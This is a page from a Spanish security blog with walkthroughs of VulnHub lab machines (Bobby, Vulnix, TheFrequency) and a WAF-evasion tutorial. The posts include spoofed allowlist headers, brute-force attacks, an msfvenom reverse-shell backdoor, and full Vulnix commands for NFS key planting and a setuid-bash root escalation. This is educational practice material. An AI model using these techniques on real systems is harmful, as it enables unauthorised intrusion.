Mostrando entradas con la etiqueta nmap. Mostrar todas las entradas
Mostrando entradas con la etiqueta nmap. Mostrar todas las entradas

jueves, 4 de agosto de 2016

We have more power than they think (Mr.Robot)

Buenas hackers! En este CTF se realizará un test de intrusión a una maquina vulnerable de Vulhub
Seguramente muchos de vosotros hayáis visto esta serie, y ahora se esta lanzando los nuevos capítulos de la segunda temporada:


Os animo a resolver el CTF antes de ver el nuevo capitulo de hoy. No lea más esta entrada e inicie el reto de ser root y capturar la bandera final!
Cualquier duda siempre puede consultar el vídeo ;)

Atención Spoiler!!


En esta PoC, se verá procedimientos para realizar un test de intrusión tales como un escaneo y enumeración de los servicios con nmap. Interacciones con el servidor web con nikto, ataques de fuerza bruta y subida de un archivo malicioso creado con msfvenom en php para obtener una sesión meterpreter, conectándose el servidor web mediante una petición http que hacemos nosotros con curl a nuestra maquina atacante.
Una vez obtenida la shell, veremos que nmap tiene setuid y es una versión obsoleta. Por lo cual en el modo interactivo podremos escalar privilegios a root.
Os dejo con el CTF:

Un saludo, Naivenom. 


martes, 2 de agosto de 2016

Bypass WAF

Buenas compañeros,

Esta entrada vamos a ver como evitar mecanismos de protección como son los WAF (Web Application Firewall). En muchas ocasiones en un proceso de auditoria web nos encontramos que nuestras peticiones  son bloqueadas o reseteadas antes de que lleguen y pueden llegar ser un dolor de cabeza, ya sea porque no han introducido nuestra IP en la lista blanca o en cambio la empresa quiere conocer como funciona su WAF y si un hacker ético es capaz de evitarlo.




Para comenzar si estamos auditando una web y observamos que se resetean las peticiones realizadas o tardan mucho, es un síntoma de que podría estar detrás un elemento defensivo de red.

A continuación, se detallan una serie de técnicas para evitar tanto manualmente como empleando herramientas:

 Herramientas

Herramientas para el descubrimiento de WAF:


 Wafwoof

Descarga: git clone [https://github.com/EnableSecurity/wafw00f.git]

Instalación: python setup.py install




Ejecución:

wafw00f URL 

Entre los parámetros más interesantes:

Options:

  -a, --findall         Find all WAFs, do not stop testing on the first one

  -l, --list            List all WAFs that we are able to detect

Ejemplo:

''wafw00f -a ********.es''

                                 ^     ^
        _   __  _   ____ _   __  _    _   ____
       ///7/ /.' \ / __////7/ /,' \ ,' \ / __/
      | V V // o // _/ | V V // 0 // 0 // _/
      |_n_,'/_n_//_/   |_n_,' \_,' \_,'/_/
                                <
                               

    WAFW00F - Web Application Firewall Detection Tool

    By Sandro Gauci && Wendel G. Henrique

Checking http://********.es
Generic Detection results:
The site http://*******.es seems to be behind a WAF or some sort of security solution
Reason: Blocking is being done at connection/packet level.
Number of requests: 12


Es capaz de detectar los siguientes fabricantes de WAF:

wafw00f -l

Profense

NetContinuum

Incapsula WAF

CloudFlare

USP Secure Entry Server

Cisco ACE XML Gateway

Barracuda Application Firewall

Art of Defence HyperGuard

BinarySec

Teros WAF

F5 BIG-IP LTM

F5 BIG-IP APM

F5 BIG-IP ASM

F5 FirePass

F5 Trafficshield

InfoGuard Airlock

Citrix NetScaler

Trustwave ModSecurity

IBM Web Application Security

IBM DataPower

DenyALL WAF

Applicure dotDefender

Juniper WebApp Secure

Microsoft URLScan

Aqtronix WebKnight

FireEye Digital Security SecureIIS

Imperva SecureSphere

Microsoft ISA Server


SQLmap

SQLmap puede emplearse para evadir la protección de los WAF's. Además tiene módulos detectar y evadir el WAF.

Identificación WAF--identify-waf

Evitar WAF/IDS/IPS:  --skip-waf    




Cambio de IP

Se puede conectar a través de TOR para "camuflar" la IP y evitar un bloqueo del WAF a nivel de IP.

Para ello, se cuentan con los siguientes módulos:

 --tor                              Use Tor anonymity network

 --tor-port=TORPORT  Set Tor proxy port other than default

 --tor-type=TORTYPE  Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5)

 --check-tor                  Check to see if Tor is used properly

 --delay=DELAY         Delay in seconds between each HTTP request

Es recomendable introducir pequeños delays para evadir posibles bloqueos del WAF por control de timer.

Burpsuite - Bypass WAF

Consiste en un plugin para burpsuite para saltarse el WAF que automáticamente configura las cabeceras siguientes:


 X-Originating-IP: 127.0.0.1

 X-Forwarded-For: 127.0.0.1

 X-Remote-IP: 127.0.0.1

 X-Remote-Addr: 127.0.0.1

De esta manera, el WAF analiza estas cabeceras y observa que la IP que está realiza las peticiones es localhost que se debe encontrar en la lista blanca.

Descarga: git clone https://github.com/codewatchorg/bypasswaf.git

Para más información: https://github.com/codewatchorg/bypasswaf

Nmap




Nmap dispone de un script para detectar

nmap -p80 --script http-waf-detect <host>


Manual

La mayoría de los WAF's bloquean a nivel de IP. Para evitar este bloqueo se pueden emplear diferentes técnicas:

 -Ir cambiando de IP conectándonos a TOR y forzar a que nos cambie de IP. Requiere de un trabajo extra y está en contra de la "usabilidad" pero a veces es lo que toca!

 -"Jugar" con las cabeceras. Se pueden emplear las siguientes cabeceras:


  • X-Originating-IP: Indica el origen de la IP. Se puede establecer el valor de localhost para engañar al WAF y pensar que se producen desde su origen. Otro método es añadir IP internas o privadas,      sin embargo, en este caso puede ocurrir que por políticas de seguridd no sean alcanzables y no podamos evadir el WAF.
  • X-forwarded-for: Indica la IP origen desde que se hace la petición. Útil para tratar con proxies.
  • X-remote-IP
  • X-remote-addr


Una dupla de valores que se les pueden asignar sería:

x-forwarded-for: 184.189.250.x  (I'm you cache server) - La IP pública de la página web.

x-remote-IP: 184.189.250.x (I'm your proxy)

x-remote-addr: 192.168.1.X (Internal user, let me in!) -> 127.0.0.1

x-remote-IP: (* or or %0A) -> 127.0.0.1


Otra solución directamente es añadir a todas la cabeceras el valor 127.0.0.1

El objetivo que se busca con el uso de cabeceras es obtener una IP interna o privada que se encuentre en la lista blanca del WAF, y de esta manera, evitar sus acciones.

Analizar las cabeceras de respuesta así como las páginas de error para verificar si está correctamente configurado o por el contrario, se muestran características del WAF o su propio nombre.


Se recomienda la lectura del siguiente artículo para evitar el WAF empleando queries de SQL en un inyección de código SQL para más detalle:


https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF


Si se consigue identificar el WAF, se tiene ya mucho ganado, pues la jugada es buscar las reglas de correlación para identificar ataques así como posibles bugs.

Espero que os haya gustado y os sea útil cuando os toque pegaros con uno. Para cualquier cosa, usad los comentarios y estaré encantado de contestaros.

La finalidad de esta entrada es con fines educativos y formativos con objeto de emplearse en entornos controlados y con permiso. No nos hacemos responsables de su utilización para ámbitos distintos.

Saludos.

NaxHack5

La mejor defensa es un buen ataque.


viernes, 10 de junio de 2016

Reto VulnHub: Bobby

Qué pasa hackers! Hoy vengo con ganas de traeros un reto de VulnHub. Para quien no lo conozca, VulnHub es una página donde pueden encontrarse diferentes recursos para practicar y aprender acerca de seguridad, administración y redes, muchas veces en forma de reto.

Estos retos te dan un objetivo, que en materias de seguridad suele ser ganar acceso de root (o administrador) de sistema dentro de una máquina virtual, aunque puede ser otro objetivo, como el robo de información conseguir un flag o bandera, por poner ejemplos. En el caso que nos ocupa, es un reto de seguridad cuyo objetivo es conseguir dicho flag.

Un flag o bandera es normalmente un fichero, dentro de la propia máquina (más o menos escondido), que podemos conseguir cumpliendo los objetivos y consiguiendo acceso a cierta parte del sistema de archivos de la misma. Este flag es la prueba de que hemos conseguido dichos objetivos; por decirlo de alguna forma, hemos superado la prueba. 

La máquina que trataremos es Bobby. Bobby es un pobre sujeto que ha decidido comenzar un blog personal alojado en su misma máquina, publicando algunos datos personales sin prestar demasiada atención a la seguridad de la misma antes de ponerla al alcance de cualquiera en Internet.

La fuente de dicha máquina puede encontrarse aquí. Para instalar la máquina necesitaremos un software de virtualización (yo utilizo VMware Workstation, otra opción es Virtual Box). En la página encontraremos un fichero ejecutable, que al ejecutarse abrirá una utilidad para generar una imagen de Windows XP Professional SP3 vulnerable, tomando como entrada una imagen normal de dicho sistema operativo.

Este método suele utilizarse en páginas como VulnHub; modifica un sistema operativo para asegurarse que al instalarse sea vulnerable de una u otra manera (abriendo puertos, instalando servicios de red, creando usuarios, etc.) sin tener que modificar nada en la máquina posteriormente.

Una vez instalada la máquina, tenemos un equipo XP vulnerable. En mi caso, suelo configurar todas las máquinas de prueba en modo de red NAT para que no sean accesibles desde el exterior, pero sí entre ellas.

Máquina XP de Bobby funcionando en Vmware Workstation
Podemos empezar realizando una exploración de los puertos y servicios de la máquina mediante Zenmap (o nmap). Puede hacerse en la máquina anfitrión o a través de cualquier otra máquina que tengamos virtualizada en la misma red NAT. En este caso utilizaré para las pruebas una máquina Kali Linux.

Primero tenemos que conocer la dirección IP de la máquina objetivo. Aunque normalmente podemos conocerla mediante un barrido IP con nmap o Zenmap, en la página donde conseguimos la máquina podemos ver que está configurada con la IP 192.168.1.11. Por ahorrarnos problemas de direccionamiento, estableceremos nuestra red NAT dentro de la misma subred (192.168.10/24).

Conociendo ya a priori la dirección IP del objetivo, ejecutamos un escaneo IP intenso con Zenmap. Puede hacerse de forma similar en nmap, pero así tenemos resultados más visuales.

Reporte de Zenmap
Vemos ya que hay dos servicios abiertos: un servicio web tipo IIS (servidor web de Microsoft) y un servicio FTP. Ya tenemos por dónde empezar a explorar. Si accedemos al servicio mediante el explorador web, nos encontraremos un blog personal que Bobby acaba de empezar, con algunos datos acerca de su persona: su película favorita, su grupo favorito y su sistema operativo preferido.

El blog de Bobby
Siempre que nos encontremos una página web, se debería echar un vistazo al código fuente de la misma en búsqueda de pistas acerca de su naturaleza, comentarios del autor, etc. La experiencia puede decirnos que, al ser una página muy simple, probablemente programada puramente a mano, haya anotaciones y comentarios en el HTML. Efectivamente, podemos ver uno interesante.

Comentario en el código fuente
Al parecer, Bobby prefiere que le llamen Bobby, y no Bob o Robert. Este tipo de datos siempre vienen bien a la hora de recolectar información; al usuario de este sistema se le llama de tres maneras, que bien pueden ser su nombre de usuario o parte de él. Lo anotaremos para luego.

Podemos seguir explorando un poco el servicio web. Para ello podemos contar con herramientas como Nikto o WhatWeb, que realizan una serie de comprobaciones automáticas sobre el servidor web y nos arrojan datos muy valiosos acerca del mismo. Ambas herramientas se encuentran dentro de Kali Linux, pero son descargables para otras distribuciones.

Salida de Nikto sobre el servicio web
Salida de WhatWeb sobre el servicio web
Algunos datos interesantes que tenemos sobre el servicio es que es un Microsoft IIS versión 5.1 (desactualizado), y que tiene habilitados los métodos PUT y TRACE, que son considerados muy inseguros. Es sobre todo interesante este primer método, ya que nos permite subir archivos al servidor web. Además, no se ha borrado la página /localstart.asp, incluida de forma predeterminada en servidores IIS antiguos como este.

Tras una breve exploración al servicio web, comprobamos que podemos conectarnos al servicio FTP mediante una simple sesión de consola. Pero, ¿cual es el usuario y la contraseña? En este punto es interesante probar un ataque de fuerza bruta mediante diccionario sobre el servicio FTP.

Para ello, necesitamos dos diccionarios: uno para los nombres de usuario, dado que no conocemos ninguno, y otro para las contraseñas. Para el primero, podemos intentar con uno bastante simple hecho a mano, contando con los posibles nombres de Bobby: Bobby, Bob y Robert.

Lista/diccionario corto de usuarios
Los introduciremos con la primera letra tanto en mayúscula como en minúscula, solo por si acaso. Si estos usuarios no resultan, habría que probar otras opciones más avanzadas; de momento, mantengámoslo simple.

Para el diccionario de contraseñas, utilizaremos la herramienta cewl, incluida dentro de Kali Linux. Dicha herramienta lee una página web y crea un diccionario simple a partir de las palabras que encuentra en ella. Aunque no distingue mayúsculas y minúsculas, siendo el resultado un diccionario muy simple y algo inexacto, suele ser un buen punto sobre el que empezar.

Diccionario de contraseñas generado por cewl
Para el ataque por fuerza bruta mi primera opción suele ser siempre THC Hydra, incluida también en Kali Linux con una interfaz gráfica (Hydra GTK). La configuración del ataque es bastante sencilla, simplemente introduciendo la IP objetivo, el protocolo para el ataque (FTP) y los diccionarios de usuarios y contraseñas.

El resultado aparece enseguida; hemos tenido suerte. El usuario es bob, la contraseña es Matrix. ¡Hay que proteger más los servicios, hombre!

Resultado del bruteforce
Mediante una sesión de consola, podemos acceder al servicio FTP utilizando estos credenciales. ¡Bingo! Además, nos ha tocado la lotería: tenemos acceso al directorio wwwroot que contiene las páginas web accesibles mediante el servicio IIS.

Tachán, acceso al FTP via consola
Como pequeña prueba para comprobar nuestros permisos, nos introduciremos en el directorio wwwroot e intentaremos crear un directorio llamado owned para la ocasión. Efectivamente, podemos hacerlo, así que tenemos permisos de escritura sobre el directorio raíz del servicio web. Algo preocupantemente peligroso para la víctima porque, como veremos ahora, podemos vulnerar el servicio subiendo un backdoor.

Comprobamos que tenemos permisos de escritura
Al parecer, también se ha dejado una pequeña pista en el archivo hint.html que encontramos en el directorio raíz del servicio web. Tras descargarlo, podemos ver que íbamos bien encaminados:

Pequeña pista para la explotación
Ahora podemos entrar en la fase más jugosa: la explotación. Dado que podemos subir ficheros al directorio web, una buena opción es subir en el equipo víctima un backdoor o puerta trasera que al ser accedido se conecte a nuestra máquina, proporcionando acceso completo a la víctima.

El backdoor deberá ser activado mediante el servicio web; para ello, tendrá que tener un formato de página web. Sabemos que el servidor es un Microsoft IIS con tecnología ASP, así que tendrá que ser un código ejecutable en dicho entorno.

Metasploit Framework, que podemos encontrar también en Kali Linux, nos proporciona herramientas para crear backdoors de estas características. Utilizaremos la herramienta msfvenom que nos proporciona Metasploit para esta tarea.

En este caso, msfvenom creará una página tipo ASP que, al ser accedida, realizará una conexión a nuestro equipo (lo que se conoce como conexión inversa, dado que es la víctima la que se conecta a nosotros) y ejecutará el payload Meterpreter, proporcionándonos una interfaz de acceso completa e interactiva con la víctima en forma de comandos.

El primer paso será crear el propio backdoor. Puede hacerse de manera muy sencilla con msfvenom en una consola de Kali Linux. Hay que prestar especial atención a las opciones que le indicamos, que deberán proporcionar información sobre el equipo víctima a la herramienta, como la arquitectura (x86), familia del sistema operativo (Windows) y sobre nuestro equipo, indicando la IP y el puerto a la escucha al que se conectará el backdoor.


Creación del backdoor
Acto seguido dejaremos a la escucha en nuestro equipo un handler de Metasploit que recibirá la conexión desde el equipo víctima. Para no tener que desplegar todo el framework, lo haremos mediante la utilidad msfcli, que simplemente ejecuta el handler de forma directa. Tendremos que especificar, nuestra IP y puerto que queremos a la escucha, así como el payload que se ejecutará.

Handler para la conexión

Por último, subiremos al equipo víctima el archivo ASP que ejecutará el backdoor, haciendo uso de nuestra conexión FTP. La transferencia se realiza con éxito.

Subida del backdoor a la víctima
 Solo queda ir a un explorador web, ejecutar el backdoor, y cruzar los dedos...

Sesión de Meterpreter abierta
¡El ataque ha tenido éxito! En el handler que dejamos a la escucha tenemos un intérprete Meterpreter funcionando con permisos de sistema. Hemos conseguido acceso total a la máquina. Dado que el objetivo era conseguir un flag como prueba de nuestro éxito, abriremos un intérprete de comandos de Windows con nuestra conexión Meterpreter para buscarla. La encontraremos en el escritorio del usuario Administrator.

Flag o secreto de la máquina
 Con esto, el reto queda terminado y superado. Espero que os haya gustado el desafío. Para cualquier duda o reclamación, dejad un comentario e intentaré responder lo mejor que pueda. Gracias por leer.

Un saludo!
hartek

sábado, 4 de junio de 2016

Auditando a Vulnix - Vulnhub


Buenas Haxors! En esta ocasión vamos a mostraros un Walkthrough completo de como vulnerar y acceder a la maquina VULNIX , que podemos encontrar en VULNHUB. Esta maquina es un sistema vulnerable preconfigurado y diseñado para aprender técnicas de intrusión sin meternos en líos. 

"Ai amo que si que vamos a hacer maldades pero no, no fuera.... todo queda dentro de nuestro cubil!... si de eso que hace usted cuando dice ir al baño pero con el teclado... quiiiiite no me toque con esa mano marrano! puaj!"


Lo primero de todo vamos a descargar y  montar la maquina virtual en nuestro equipo y a arrancar otra maquina en paralelo con Kali/Backtrack.

"Siii amo se puede tener una maquina dentro de una maquina...¿que dice? que si dentro de esa se puede otra??  conecte mas potencia a esta patata y probamos a hacer una MAQUICEPTION cenutrio! ... ."

Para localizar dentro de la red la maquina a la que estábamos intentando acceder y auditar hemos lanzado un PING SWEEP con NMAP.

PING SWEEP Es una técnica usada para determinar que IPs se encuentran en funcionamiento dentro de una red, haciendo un recorrido por todas ellas lanzando mensajes ICMP ECHO REQUEST y cuando encuentra una maquina activa recibe un ICMP ECHO REPLY.

nmap -sP 192.168.174.*



Como se puede apreciar en la imagen la maquina que buscamos en este caso es : 192.168.174.128

Ahora vamos a ser un poco más concretos y vamos a escanear en busca del sistema operativo de la maquina:


nmap -O 192.168.174.128


Ahora sabemos que la maquina es un servidor con un sistema Operativo Linux que corre la versión de Kernel 2.6.32 – 3.9. Escaneamos la maquina con mas detalle para saber que servicios están corriendo en ella y que puertos tiene abiertos:

"Bien... amo es un linux... no la patata calentorra que tiene usted con WINDOWS... que dice?? que le actualice al 10?? esta usted de broma no?? que se lo ha pedido la maquina?? compruebe que no pida que usted se suicide jijijijij"


nmap -O -sV 192.168.174.128


Vemos que tiene varios puertos que son interesantes en este caso.

SMTP - Es el protocolo estándar de Internet para el intercambio de correo electrónico y responde a las siglas de Protocolo Simple de Transmisión de Correo (Simple Mail Transfer Protocol).

Para ser un poco más claro,  al momento de enviar un correo electrónico utilizamos como medio un servidor SMTP que es el encargado de hacer llegar el correo a su destino, lo podemos comparar con el servicio postal, para hacer entrega del correo necesitamos de tres datos importantes el origen, el destino y el medio que es el servidor SMTP.

Este protocolo en concreto nos puede dar la llave a través de auxiliares de metasploit a nombres de usuarios del sistema que lo utilizan así que lanzamos metasploit para ver cual es el resultado:

"mire amo... este programa es la cosa mas malvada jamas vista! permite atacar todo tipo de dispositivos! ... no la verja del redil de ovejas del aldeano no... So guarro! bueno... quien sabe si este hombre tiene mas luces que usted (cosa fácil...)... ya miraremos por shodan... a ver si vemos algún PLC"


1
2
3
4
5
6
7
service postgresql start
service metasploit start
msfconsole
use auxiliary/scanner/smtp/smtp_enum
show options
set rhosts 192.168.174.128
run



Ahí se puede ver en el resultado de Metasploit que nos ha sacado 3 usuarios validos:
USER, UUCP y www-data

Como tenemos ya usuarios vamos a utilizar FINGER

FINGER - El daemon fingerd devuelve información sobre los usuarios conectados actualmente a un sistema principal remoto especificado. Si ejecuta el mandato finger especificando un usuario en un sistema principal determinado, obtendrá información específica sobre dicho usuario.


"no no y no no me pegue! no quiero bromas con algo llamado "finger" ... ya que por mi ese suyo se lo puede meter por .... donde se rompen los sacos..."


finger user@192.168.174.128 

Al lanzar el comando nos retorna esta información sobre el usuario USER:


El usuario USER según esto tiene como Shell predeterminada BASH y como Directorio propio /home/user

Visto que tenemos un usuario valido para poder entrar por el puerto22 SSH de la maquina lanzamos un ataque por fuerza bruta con XHydra contra dicho protocolo para conseguir la clave de usuario de USER:


Ya tenemos la clave del usuario USER que es LETMEIN así que vamos a ingresar en el servidor por SSH aportando las credenciales que hemos capturado.


ssh user@192.168.174.128


Nos permite la entrada sin problemas así que navegamos por las carpetas que están disponibles y probamos comandos para saber que alcance tiene este usuario:


sudo su


Claramente no nos permite hacernos con permisos administrador a no ser que tengamos la clave para ello.Como vemos que no nos permite grandes cosas (Si trastead... probad a abrir carpetas... y buscad!) vamos a ver si existe algún indicio de otros usuarios que podamos utilizar para continuar. Durante la búsqueda si entramos en la carpeta /home nos topamos esto:

"si yo tuviera permisos administrador.... ai amo... que seria de usted... 1º le arrearia con patas de silla en los deditos pequeños de los pies... 2º con los bordes de una mesa en los codos...MIERDA! me ha oido... trae un bate de beisbol!!!! ehh amo no era para usted... ehhhh era para..... ayyyy ayyyy!"


ls -a 


Encontramos otro usuario o al menos una carpeta que nos esta denegando el permiso de entrada llamada vulnix. Para comprobar si esto es simplemente una carpeta o si se trata de un usuario accedemos al archivo /etc/passwd.



Desde nuestra maquina atacante comprobamos si el equipo auditado contiene carpetas compartidas:


showmount --exports 192.168.174.128


Y resulta que la carpeta compartida es la carpeta propia del usuario VULNIX… lo cual no tenemos acceso.

Como la carpeta es compartida lo que vamos a hacer es simular que en nuestro sistema esta esa misma carpeta intentando ganar acceso por ssh al usuario Vulnix de la maquina.

Creamos en nuestra maquina una carpeta que se llame /mnt/vulnix (mnt porque es la terminología para las carpetas montadas en red)


mkdir /mnt/vulnix

Asociamos esta carpeta con la que se encuentra en el servidor VULNIX


mount 192.168.174.128:/home/vulnix /mnt/vulnix


Creamos un usuario con las mismas características que el usuario VULNIX original para poder utilizar todas sus funcionalidades originales sin que genere ningún tipo de error :

useradd vulnix -u 2008

Generamos con ssh-keygen una clave RSA para nuestro usuario VULNIX que nos permitira autenticarnos en la maquina original.


ssh-keygen


Y copiamos la clave RSA en la carpeta tmp que es la única carpeta accesible para todos los usuarios del sistema.


cp /root/.ssh/id_rsa.pub /tmp


Cambiamos el propietario del archivo rsa que hemos dejado en tmp:


chown vulnix:vulnix /tmp/id_rsa.pub

Nos logueamos con el usuario que hemos creado y traspasamos la clave RSA que habíamos creado inicialmente a nuestro usuario dentro de su carpeta .ssh para que al entrar por ssh nos lea directamente el archivo y poder engañar al sistema.


1
2
3
su vulnix
mkdir /mnt/vulnix/.ssh
cat /tmp/id_rsa.pub >> /mnt/vulnix/.ssh/authorized_keys

Nos logueamos vía ssh en la maquina a atacar con el usuario vulnix y voila!



ssh vulnix@192.168.174.128


Tras navegar por las diferentes carpetas y ver el alcance que tiene este usuario probamos a ver si tiene algún permiso root al ejecutar algo:


1
sudo -l


Según indica si se abre el archivo /etc/exports con el comando sudoedit nos permite hacer cambios sobre el archivo y guardarlo con permiso root.


Si cambiamos el archivo original en el que pone ROOT_SQUASH y añadimos el NO _ por delante nos encontramos que :
  • root_squash: El usuario root de los clientes se mapea a nobody: Así un cliente no puede dejar malware para que otro lo ejecute, así com el setuid bit.
  • no_root_squash: Mediante dicha opción desactivamos esta característica de seguridad, permitiendo que el root de los clientes acabe como root en el sistema de ficheros que se exporta (y por lo tanto, en el resto de clientes).

Con lo cual lo cambiamos y lo dejamos con NO ROOT SQUASH para ganar privilegios root en archivos.

Para que estos cambios surtan efecto desmontamos la unión de la carpeta VULNIX y reiniciamos el equipo atacado.


umount /mnt/vulnix

Esperamos a que la maquina vuelva a funcionar (lo comprobamos haciéndole ping) y volvemos a montar la carpeta compartida de vulnix.


mount 192.168.174.128:home/vulnix /mnt/vulnix

Una vez conectado como sabemos que la Shell que utilizan los usuarios de la maquina es BASH lo que hacemos es copiar BASH en nuestra carpeta del usuario vulnix de nuestro sistema y le cambiamos los permisos pudiendo manejarse como root:


1
2
cp /bin/bash /mnt/vulnix
chmod 4777 /mnt/vulnix/bash

Hecho esto vamos a volver a acceder por SSH al servidor VULNIX para intentar lanzar una Shell de ROOT.



ssh vulnix@192.168.174.128


Estando dentro de la maquina accedemos a la carpeta donde se aloja Bash y la ejecutamos con el comando -p para que nos coja las credenciales RSA que hemos creado dentro de la carpeta compartida:


/home/vulnix/bash -p



Como se puede observar ahora ya somos dueños y señores de todo y podemos hacer lo que nos venga en gana por el sistema teniendo control absoluto sobre el. Así que aprovechamos para poder mirar en la carpeta root por si encontramos información interesante.


1
2
cd /root/
ls -a




cat thropy.txt


"Amo tenemos el trofeo pero creo que no le va a gustar... es algo mas feo que su jeto.... jijijij y es decir eh... fiese de mi que desde que rompió el ultimo espejo al mirarse... no no me castigue dentro del armario colgado de los meñiques! maldito humano de seso liviano! "

FINAL!


CONCLUSIÓN


Como conclusión y subsanación de los problemas encontrados podemos indicar este tipo de arreglos:

1º Una mejor política de contraseñas.
O bien utilizar un generador de contraseñas seguras que además obligue al usuario a cambiar cada X tiempo la contraseña o bien que la contraseña contenga mas de 8 dígitos y que tenga símbolos números letras, mayúsculas y minúsculas. Para hacer que sea mucho mas complicado para el atacante sacarlas a fuerza bruta.

2º Evitar las carpetas compartidas
En este caso el mayor agujero de seguridad han sido las carpetas compartidas de un usuario que junto a la mala configuración nos ha dado la entrada al servidor.


3º Utilizar protocolos seguros
En el caso de SMTP nos ha dado información que en caso de estar bien configurado no debería de dar… lo que nos ha dado pie a comenzar el ataque.

4º Cerrar Puertos
Otro ejemplo de mala configuración es el caso de FINGER ya que si no es necesario debería de estar cerrado para la red para evitar mostrar datos innecesarios. Los Puertos en la mayoria de sistemas se pueden trucar para mostrar informacion que no sea veraz y engañar a un atacante.

5º Limitar accesos
Lo máximo posible teniendo en cuenta las necesidades del usuario, no vamos a cortarles todo ya que hay cosas que pueden ser necesarias para desempeñar su trabajo.

Implementar unas reglas a nivel de empresa para que tras X números de intentos se bloquee ese usuario y se contacte con el usuario desde sistemas para desbloquearlo con una clave previamente acordada.

Hasta la próxima chavales! Espero que sirva tanto de aprendizaje como de diversion!
Nebu 

miércoles, 25 de mayo de 2016

Auditando a TheFrequency - Vulnhub (Parte I)


Autor: Diego Jurado Pallarés


Buenas a todos hackers!! 

En el día de hoy, os traigo una demostración bastante detallada de como auditar la máquina "TheFrequency".  
Esta máquina podemos encontrarla VulnHub, una página web muy útil donde podremos encontrar todo tipo de máquinas con las que podremos practicar auditorias de seguridad informática.

Lo primero de todo, os invito a que os descarguéis la máquina desde su página oficial, o directamente en estos enlaces: 


El objetivo y características en TheFrequency es: 
  • Conseguir acceso como root al sistema.
  • Servicio DHCP habilitado
  • Sistema Operativo BSD


Antes de empezar, sería interesante que intentaseis auditar esta máquina por vuestra cuenta, ya que es bastante peculiar y divertida.  Si no lo conseguís por vuestra cuenta, entonces podéis ayudaros leyendo este tutorial.


COMENZAMOS...ALERTA SPOILER!! 

Lo primero que haremos será desplegar TheFrequency en una máquina virtual, de forma que podamos auditarla desde otra máquina. 

El primer paso será comprobar la IP (usando netdiscover) que se le ha asignado a TheFrequency, y realizar un escaneo de puertos y vulnerabilidades, siguiendo con el proceso típico en una auditoria de sistemas. 
En mi caso he utilizado nmap y nessus respectivamente, obteniendo los siguientes resultados: 

 NetDiscover: 



Escaneo con NMap: 



Resumen de escaneo con Nessus:



A continuación haremos un repaso por las vulnerabilidades encontradas. Tras investigar observamos que no hay ninguna vulnerabilidad de las mencionadas anteriormente que podamos explotar, por lo tanto pasamos a la explotación manual.

Intentamos atacar el servicio SSH mediante ataque por fuerza bruta (usando Medusa o Hydra), con el usuario “root” y con la wordlist “rockyou.txt”.

Tras más de 5 horas probando, paramos la ejecución…no se ha encontrado respuesta, no podía ser tan fácil.

Intentamos ahora explotar el servicio HTTP de alguna forma. Al entrar mediante navegador, observamos lo siguiente:


Encontramos un audio, llamado frequency.mp3 , por el nombre, parece que sin duda será clave para la realización de la auditoria.

Tras abrir el audio, no observamos nada, ninguna pista. Tras volver a escuchar, nos llama la atención un sonido que aparece aproximadamente en el minuto 1 del audio, un sonido que parece morse.

Es en este momento cuando nos damos cuenta que debemos descifrar el código morse, para ver qué tipo de información nos proporciona, pero… ¿Cómo lo hacemos?

Recurrimos a la Esteganografía (aplicación de técnicas que permiten la ocultación de mensajes u objetos dentro de otros, lo cual hace que la comunicación pase inadvertida.)


NIVEL 1


En este paso nos daremos cuenta, que esta máquina sigue el formato CTF - "Capture The Flag", y más adelante veremos la razón.


Para analizar el código morse deberemos analizar el espectro del audio. Para ello, tenemos varias posibilidades, infinitas herramientas.
En mi caso, he utilizado wavepad para analizarlo en Windows.
Al abrir el programa, observamos en el espectrograma los pulsos del código morse representados con puntos y barras.



Aumentamos el tamaño de la ventana para mejorar la visualización, y con ayuda del código internacional de morse, comenzamos a traducir el mensaje cifrado, solo pondré un par de imágenes de ejemplo ya que sino que daría muy extenso:





Tras analizar todo el mensaje, hemos conseguido:
NIVEL1 : THE PASSWORD FOR LEVEL ONE IS THEFREQUENCY2015.

Este es el punto exacto en el que me dí cuenta de que estábamos ante un CTF y parece que ya hemos conseguido la contraseña del primer nivel.

Nos conectaremos al primer nivel mediante SSH, tras un mensaje que nos muestra que solo el protocolo SFTP es accesible, nos conectamos:



Ya estamos dentro, y observamos que dentro tan solo hay un fichero: frequency.txt que contiene lo que parece el inicio de una clave privada.






NIVEL 2

Ya hemos obtenido lo que parece el inicio de una clave privada, por lo que seguiremos analizando el audio en busca de más pistas. 

Cerca del minuto 17, nos encontramos con un nuevo fragmento de audio, esta vez no se trata de morse, sino de modos digitales como los que utilizan los radio-aficionados.

Utilizaremos la herramienta audacity para identificar estos cambios en el audio, sin necesidad de tener que escuchar todo, ya que tiene más de una hora de duración. Como podemos ver, con este programa, podemos observar franjas rojas en el espectrograma que nos indican variaciones en el audio.



Para este proceso, encontramos una web donde podremos encontrar a una pista de lo que podría ser el modo digital utilizado, con los distintos tipos existentes y sus sonidos, que son bastante útiles para relacionarlo con el audio del nivel 2.


A continuación nos descargamos otra herramienta llamada fldigi que nos permite analizar los modos digitales, y tras mucha prueba error(probando casi todos los modos), conseguimos traducir el fragmento de audio. El modo digital usado es Hellschreiber.

Para su correcto funcionamiento, será imprescindible colocar la franja roja que aparece en la parte inferior de la siguiente imagen, en la misma posición (entre medias del número 1000), ya que en caso contrario, no conseguiremos descifrar el audio correctamente. 


Tras analizar todo el mensaje, hemos conseguido:
NIVEL 2: THE PASSWORD FOR LEVEL TWO IS RUDOLFHELL1920

Ya tenemos la segunda password, así que realizaremos el mismo procedimiento, nos conectaremos por SFTP, consiguiendo un nuevo fichero frequency.txt. Al abrirlo, contiene parte de la clave privada, no toda, por tanto pasamos al siguiente nivel.




Y con esto acaba la entrada de hoy. En la próxima parte, seguiremos accediendo en cada uno de los niveles restantes, y conseguiremos el deseado acceso a root.

Espero que os haya gustado!! 

Google Analytics